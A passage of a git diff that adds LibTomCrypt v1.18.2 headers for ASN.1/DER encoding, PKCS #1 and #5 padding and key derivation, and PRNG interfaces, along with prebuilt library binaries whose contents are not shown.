list, outlen) der_decode_sequence_ex(in, inlen, list, outlen, 0) +#define der_length_set der_length_sequence +int der_encode_set(ltc_asn1_list *list, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + +int der_encode_setof(ltc_asn1_list *list, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + +/* VA list handy helpers with triplets of */ +int der_encode_sequence_multi(unsigned char *out, unsigned long *outlen, ...); +int der_decode_sequence_multi(const unsigned char *in, unsigned long inlen, ...); + +/* FLEXI DECODER handle unknown list decoder */ +int der_decode_sequence_flexi(const unsigned char *in, unsigned long *inlen, ltc_asn1_list **out); +#define der_free_sequence_flexi der_sequence_free +void der_sequence_free(ltc_asn1_list *in); +void der_sequence_shrink(ltc_asn1_list *in); + +/* BOOLEAN */ +int der_length_boolean(unsigned long *outlen); +int der_encode_boolean(int in, + unsigned char *out, unsigned long *outlen); +int der_decode_boolean(const unsigned char *in, unsigned long inlen, + int *out); +/* INTEGER */ +int der_encode_integer(void *num, unsigned char *out, unsigned long *outlen); +int der_decode_integer(const unsigned char *in, unsigned long inlen, void *num); +int der_length_integer(void *num, unsigned long *len); + +/* INTEGER -- handy for 0..2^32-1 values */ +int der_decode_short_integer(const unsigned char *in, unsigned long inlen, unsigned long *num); +int der_encode_short_integer(unsigned long num, unsigned char *out, unsigned long *outlen); +int der_length_short_integer(unsigned long num, unsigned long *outlen); + +/* BIT STRING */ +int der_encode_bit_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_decode_bit_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_encode_raw_bit_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_decode_raw_bit_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_length_bit_string(unsigned long nbits, unsigned long *outlen); + +/* OCTET STRING */ +int der_encode_octet_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_decode_octet_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_length_octet_string(unsigned long noctets, unsigned long *outlen); + +/* OBJECT IDENTIFIER */ +int der_encode_object_identifier(unsigned long *words, unsigned long nwords, + unsigned char *out, unsigned long *outlen); +int der_decode_object_identifier(const unsigned char *in, unsigned long inlen, + unsigned long *words, unsigned long *outlen); +int der_length_object_identifier(unsigned long *words, unsigned long nwords, unsigned long *outlen); +unsigned long der_object_identifier_bits(unsigned long x); + +/* IA5 STRING */ +int der_encode_ia5_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_decode_ia5_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_length_ia5_string(const unsigned char *octets, unsigned long noctets, unsigned long *outlen); + +int der_ia5_char_encode(int c); +int der_ia5_value_decode(int v); + +/* TELETEX STRING */ +int der_decode_teletex_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_length_teletex_string(const unsigned char *octets, unsigned long noctets, unsigned long *outlen); + +#ifdef LTC_SOURCE +/* internal helper functions */ +int der_teletex_char_encode(int c); +int der_teletex_value_decode(int v); +#endif /* LTC_SOURCE */ + + +/* PRINTABLE STRING */ +int der_encode_printable_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_decode_printable_string(const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int der_length_printable_string(const unsigned char *octets, unsigned long noctets, unsigned long *outlen); + +int der_printable_char_encode(int c); +int der_printable_value_decode(int v); + +/* UTF-8 */ +#if (defined(SIZE_MAX) || __STDC_VERSION__ >= 199901L || defined(WCHAR_MAX) || defined(__WCHAR_MAX__) || defined(_WCHAR_T) || defined(_WCHAR_T_DEFINED) || defined (__WCHAR_TYPE__)) && !defined(LTC_NO_WCHAR) + #if defined(__WCHAR_MAX__) + #define LTC_WCHAR_MAX __WCHAR_MAX__ + #else + #include + #define LTC_WCHAR_MAX WCHAR_MAX + #endif +/* please note that it might happen that LTC_WCHAR_MAX is undefined */ +#else + typedef ulong32 wchar_t; + #define LTC_WCHAR_MAX 0xFFFFFFFF +#endif + +int der_encode_utf8_string(const wchar_t *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + +int der_decode_utf8_string(const unsigned char *in, unsigned long inlen, + wchar_t *out, unsigned long *outlen); +unsigned long der_utf8_charsize(const wchar_t c); +#ifdef LTC_SOURCE +/* internal helper functions */ +int der_utf8_valid_char(const wchar_t c); +#endif /* LTC_SOURCE */ +int der_length_utf8_string(const wchar_t *in, unsigned long noctets, unsigned long *outlen); + + +/* CHOICE */ +int der_decode_choice(const unsigned char *in, unsigned long *inlen, + ltc_asn1_list *list, unsigned long outlen); + +/* UTCTime */ +typedef struct { + unsigned YY, /* year */ + MM, /* month */ + DD, /* day */ + hh, /* hour */ + mm, /* minute */ + ss, /* second */ + off_dir, /* timezone offset direction 0 == +, 1 == - */ + off_hh, /* timezone offset hours */ + off_mm; /* timezone offset minutes */ +} ltc_utctime; + +int der_encode_utctime(ltc_utctime *utctime, + unsigned char *out, unsigned long *outlen); + +int der_decode_utctime(const unsigned char *in, unsigned long *inlen, + ltc_utctime *out); + +int der_length_utctime(ltc_utctime *utctime, unsigned long *outlen); + +/* GeneralizedTime */ +typedef struct { + unsigned YYYY, /* year */ + MM, /* month */ + DD, /* day */ + hh, /* hour */ + mm, /* minute */ + ss, /* second */ + fs, /* fractional seconds */ + off_dir, /* timezone offset direction 0 == +, 1 == - */ + off_hh, /* timezone offset hours */ + off_mm; /* timezone offset minutes */ +} ltc_generalizedtime; + +int der_encode_generalizedtime(ltc_generalizedtime *gtime, + unsigned char *out, unsigned long *outlen); + +int der_decode_generalizedtime(const unsigned char *in, unsigned long *inlen, + ltc_generalizedtime *out); + +int der_length_generalizedtime(ltc_generalizedtime *gtime, unsigned long *outlen); + + +#endif + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_pkcs.h b/include/tomcrypt_pkcs.h new file mode 100644 index 0000000..b84028f --- /dev/null +++ b/include/tomcrypt_pkcs.h @@ -0,0 +1,108 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* PKCS Header Info */ + +/* ===> PKCS #1 -- RSA Cryptography <=== */ +#ifdef LTC_PKCS_1 + +enum ltc_pkcs_1_v1_5_blocks +{ + LTC_PKCS_1_EMSA = 1, /* Block type 1 (PKCS #1 v1.5 signature padding) */ + LTC_PKCS_1_EME = 2 /* Block type 2 (PKCS #1 v1.5 encryption padding) */ +}; + +enum ltc_pkcs_1_paddings +{ + LTC_PKCS_1_V1_5 = 1, /* PKCS #1 v1.5 padding (\sa ltc_pkcs_1_v1_5_blocks) */ + LTC_PKCS_1_OAEP = 2, /* PKCS #1 v2.0 encryption padding */ + LTC_PKCS_1_PSS = 3, /* PKCS #1 v2.1 signature padding */ + LTC_PKCS_1_V1_5_NA1 = 4 /* PKCS #1 v1.5 padding - No ASN.1 (\sa ltc_pkcs_1_v1_5_blocks) */ +}; + +int pkcs_1_mgf1( int hash_idx, + const unsigned char *seed, unsigned long seedlen, + unsigned char *mask, unsigned long masklen); + +int pkcs_1_i2osp(void *n, unsigned long modulus_len, unsigned char *out); +int pkcs_1_os2ip(void *n, unsigned char *in, unsigned long inlen); + +/* *** v1.5 padding */ +int pkcs_1_v1_5_encode(const unsigned char *msg, + unsigned long msglen, + int block_type, + unsigned long modulus_bitlen, + prng_state *prng, + int prng_idx, + unsigned char *out, + unsigned long *outlen); + +int pkcs_1_v1_5_decode(const unsigned char *msg, + unsigned long msglen, + int block_type, + unsigned long modulus_bitlen, + unsigned char *out, + unsigned long *outlen, + int *is_valid); + +/* *** v2.1 padding */ +int pkcs_1_oaep_encode(const unsigned char *msg, unsigned long msglen, + const unsigned char *lparam, unsigned long lparamlen, + unsigned long modulus_bitlen, prng_state *prng, + int prng_idx, int hash_idx, + unsigned char *out, unsigned long *outlen); + +int pkcs_1_oaep_decode(const unsigned char *msg, unsigned long msglen, + const unsigned char *lparam, unsigned long lparamlen, + unsigned long modulus_bitlen, int hash_idx, + unsigned char *out, unsigned long *outlen, + int *res); + +int pkcs_1_pss_encode(const unsigned char *msghash, unsigned long msghashlen, + unsigned long saltlen, prng_state *prng, + int prng_idx, int hash_idx, + unsigned long modulus_bitlen, + unsigned char *out, unsigned long *outlen); + +int pkcs_1_pss_decode(const unsigned char *msghash, unsigned long msghashlen, + const unsigned char *sig, unsigned long siglen, + unsigned long saltlen, int hash_idx, + unsigned long modulus_bitlen, int *res); + +#endif /* LTC_PKCS_1 */ + +/* ===> PKCS #5 -- Password Based Cryptography <=== */ +#ifdef LTC_PKCS_5 + +/* Algorithm #1 (PBKDF1) */ +int pkcs_5_alg1(const unsigned char *password, unsigned long password_len, + const unsigned char *salt, + int iteration_count, int hash_idx, + unsigned char *out, unsigned long *outlen); + +/* Algorithm #1 (PBKDF1) - OpenSSL-compatible variant for arbitrarily-long keys. + Compatible with EVP_BytesToKey() */ +int pkcs_5_alg1_openssl(const unsigned char *password, + unsigned long password_len, + const unsigned char *salt, + int iteration_count, int hash_idx, + unsigned char *out, unsigned long *outlen); + +/* Algorithm #2 (PBKDF2) */ +int pkcs_5_alg2(const unsigned char *password, unsigned long password_len, + const unsigned char *salt, unsigned long salt_len, + int iteration_count, int hash_idx, + unsigned char *out, unsigned long *outlen); + +int pkcs_5_test (void); +#endif /* LTC_PKCS_5 */ + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_prng.h b/include/tomcrypt_prng.h new file mode 100644 index 0000000..1fa1643 --- /dev/null +++ b/include/tomcrypt_prng.h @@ -0,0 +1,232 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* ---- PRNG Stuff ---- */ +#ifdef LTC_YARROW +struct yarrow_prng { + int cipher, hash; + unsigned char pool[MAXBLOCKSIZE]; + symmetric_CTR ctr; +}; +#endif + +#ifdef LTC_RC4 +struct rc4_prng { + rc4_state s; +}; +#endif + +#ifdef LTC_CHACHA20_PRNG +struct chacha20_prng { + chacha_state s; /* chacha state */ + unsigned char ent[40]; /* entropy buffer */ + unsigned long idx; /* entropy counter */ +}; +#endif + +#ifdef LTC_FORTUNA +struct fortuna_prng { + hash_state pool[LTC_FORTUNA_POOLS]; /* the pools */ + + symmetric_key skey; + + unsigned char K[32], /* the current key */ + IV[16]; /* IV for CTR mode */ + + unsigned long pool_idx, /* current pool we will add to */ + pool0_len, /* length of 0'th pool */ + wd; + + ulong64 reset_cnt; /* number of times we have reset */ +}; +#endif + +#ifdef LTC_SOBER128 +struct sober128_prng { + sober128_state s; /* sober128 state */ + unsigned char ent[40]; /* entropy buffer */ + unsigned long idx; /* entropy counter */ +}; +#endif + +typedef struct { + union { + char dummy[1]; +#ifdef LTC_YARROW + struct yarrow_prng yarrow; +#endif +#ifdef LTC_RC4 + struct rc4_prng rc4; +#endif +#ifdef LTC_CHACHA20_PRNG + struct chacha20_prng chacha; +#endif +#ifdef LTC_FORTUNA + struct fortuna_prng fortuna; +#endif +#ifdef LTC_SOBER128 + struct sober128_prng sober128; +#endif + }; + short ready; /* ready flag 0-1 */ + LTC_MUTEX_TYPE(lock) /* lock */ +} prng_state; + +/** PRNG descriptor */ +extern struct ltc_prng_descriptor { + /** Name of the PRNG */ + const char *name; + /** size in bytes of exported state */ + int export_size; + /** Start a PRNG state + @param prng [out] The state to initialize + @return CRYPT_OK if successful + */ + int (*start)(prng_state *prng); + /** Add entropy to the PRNG + @param in The entropy + @param inlen Length of the entropy (octets)\ + @param prng The PRNG state + @return CRYPT_OK if successful + */ + int (*add_entropy)(const unsigned char *in, unsigned long inlen, prng_state *prng); + /** Ready a PRNG state to read from + @param prng The PRNG state to ready + @return CRYPT_OK if successful + */ + int (*ready)(prng_state *prng); + /** Read from the PRNG + @param out [out] Where to store the data + @param outlen Length of data desired (octets) + @param prng The PRNG state to read from + @return Number of octets read + */ + unsigned long (*read)(unsigned char *out, unsigned long outlen, prng_state *prng); + /** Terminate a PRNG state + @param prng The PRNG state to terminate + @return CRYPT_OK if successful + */ + int (*done)(prng_state *prng); + /** Export a PRNG state + @param out [out] The destination for the state + @param outlen [in/out] The max size and resulting size of the PRNG state + @param prng The PRNG to export + @return CRYPT_OK if successful + */ + int (*pexport)(unsigned char *out, unsigned long *outlen, prng_state *prng); + /** Import a PRNG state + @param in The data to import + @param inlen The length of the data to import (octets) + @param prng The PRNG to initialize/import + @return CRYPT_OK if successful + */ + int (*pimport)(const unsigned char *in, unsigned long inlen, prng_state *prng); + /** Self-test the PRNG + @return CRYPT_OK if successful, CRYPT_NOP if self-testing has been disabled + */ + int (*test)(void); +} prng_descriptor[]; + +#ifdef LTC_YARROW +int yarrow_start(prng_state *prng); +int yarrow_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng); +int yarrow_ready(prng_state *prng); +unsigned long yarrow_read(unsigned char *out, unsigned long outlen, prng_state *prng); +int yarrow_done(prng_state *prng); +int yarrow_export(unsigned char *out, unsigned long *outlen, prng_state *prng); +int yarrow_import(const unsigned char *in, unsigned long inlen, prng_state *prng); +int yarrow_test(void); +extern const struct ltc_prng_descriptor yarrow_desc; +#endif + +#ifdef LTC_FORTUNA +int fortuna_start(prng_state *prng); +int fortuna_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng); +int fortuna_ready(prng_state *prng); +unsigned long fortuna_read(unsigned char *out, unsigned long outlen, prng_state *prng); +int fortuna_done(prng_state *prng); +int fortuna_export(unsigned char *out, unsigned long *outlen, prng_state *prng); +int fortuna_import(const unsigned char *in, unsigned long inlen, prng_state *prng); +int fortuna_test(void); +extern const struct ltc_prng_descriptor fortuna_desc; +#endif + +#ifdef LTC_RC4 +int rc4_start(prng_state *prng); +int rc4_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng); +int rc4_ready(prng_state *prng); +unsigned long rc4_read(unsigned char *out, unsigned long outlen, prng_state *prng); +int rc4_done(prng_state *prng); +int rc4_export(unsigned char *out, unsigned long *outlen, prng_state *prng); +int rc4_import(const unsigned char *in, unsigned long inlen, prng_state *prng); +int rc4_test(void); +extern const struct ltc_prng_descriptor rc4_desc; +#endif + +#ifdef LTC_CHACHA20_PRNG +int chacha20_prng_start(prng_state *prng); +int chacha20_prng_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng); +int chacha20_prng_ready(prng_state *prng); +unsigned long chacha20_prng_read(unsigned char *out, unsigned long outlen, prng_state *prng); +int chacha20_prng_done(prng_state *prng); +int chacha20_prng_export(unsigned char *out, unsigned long *outlen, prng_state *prng); +int chacha20_prng_import(const unsigned char *in, unsigned long inlen, prng_state *prng); +int chacha20_prng_test(void); +extern const struct ltc_prng_descriptor chacha20_prng_desc; +#endif + +#ifdef LTC_SPRNG +int sprng_start(prng_state *prng); +int sprng_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng); +int sprng_ready(prng_state *prng); +unsigned long sprng_read(unsigned char *out, unsigned long outlen, prng_state *prng); +int sprng_done(prng_state *prng); +int sprng_export(unsigned char *out, unsigned long *outlen, prng_state *prng); +int sprng_import(const unsigned char *in, unsigned long inlen, prng_state *prng); +int sprng_test(void); +extern const struct ltc_prng_descriptor sprng_desc; +#endif + +#ifdef LTC_SOBER128 +int sober128_start(prng_state *prng); +int sober128_add_entropy(const unsigned char *in, unsigned long inlen, prng_state *prng); +int sober128_ready(prng_state *prng); +unsigned long sober128_read(unsigned char *out, unsigned long outlen, prng_state *prng); +int sober128_done(prng_state *prng); +int sober128_export(unsigned char *out, unsigned long *outlen, prng_state *prng); +int sober128_import(const unsigned char *in, unsigned long inlen, prng_state *prng); +int sober128_test(void); +extern const struct ltc_prng_descriptor sober128_desc; +#endif + +int find_prng(const char *name); +int register_prng(const struct ltc_prng_descriptor *prng); +int unregister_prng(const struct ltc_prng_descriptor *prng); +int register_all_prngs(void); +int prng_is_valid(int idx); +LTC_MUTEX_PROTO(ltc_prng_mutex) + +/* Slow RNG you **might** be able to use to seed a PRNG with. Be careful as this + * might not work on all platforms as planned + */ +unsigned long rng_get_bytes(unsigned char *out, + unsigned long outlen, + void (*callback)(void)); + +int rng_make_prng(int bits, int wprng, prng_state *prng, void (*callback)(void)); + +#ifdef LTC_PRNG_ENABLE_LTC_RNG +extern unsigned long (*ltc_rng)(unsigned char *out, unsigned long outlen, + void (*callback)(void)); +#endif + + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/lib/tomcrypt.lib b/lib/tomcrypt.lib new file mode 100644 index 0000000..1e12cc1 Binary files /dev/null and b/lib/tomcrypt.lib differ diff --git a/lib/tomcryptx64.lib b/lib/tomcryptx64.lib new file mode 100644 index 0000000..9bcd3cc Binary files /dev/null and b/lib/tomcryptx64.lib differ diff --git a/lib/tommath.lib b/lib/tommath.lib new file mode 100644 index 0000000..d0fb366 Binary files /dev/null and b/lib/tommath.lib differ diff --git a/lib/tommathx64.lib b/lib/tommathx64.lib new file mode 100644 index 0000000..faeeb16 Binary files /dev/null and b/lib/tommathx64.lib differ